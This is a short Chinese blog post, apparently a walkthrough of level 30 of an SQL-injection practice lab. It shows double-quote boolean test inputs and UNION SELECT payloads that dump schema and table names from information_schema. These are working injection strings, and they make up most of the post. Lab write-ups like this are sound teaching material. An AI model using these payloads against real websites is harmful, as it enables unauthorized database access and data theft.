第30關使用GET請求傳遞引數,在url中構造payload即可
后端原始碼中并沒有做什么過濾,只是在引數兩邊添加了雙引號
![]()
![]()
![]()
輸入 1" and true-- a,頁面正常顯示

輸入 1" and false-- a,頁面空顯示

由此可證明存在SQL注入,注入點為雙引號字符型注入
頁面中有顯示位,可以使用聯合注入進行脫庫
-1" union select 1,2,
(select group_concat(schema_name) from information_schema.schemata)
-- a

脫表
-1" union select 1,2,
(select group_concat(table_name) from information_schema.tables
where table_schema='security')
-- a

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294632.html
標籤:其他
下一篇:漏洞挖掘的快樂你想象不到
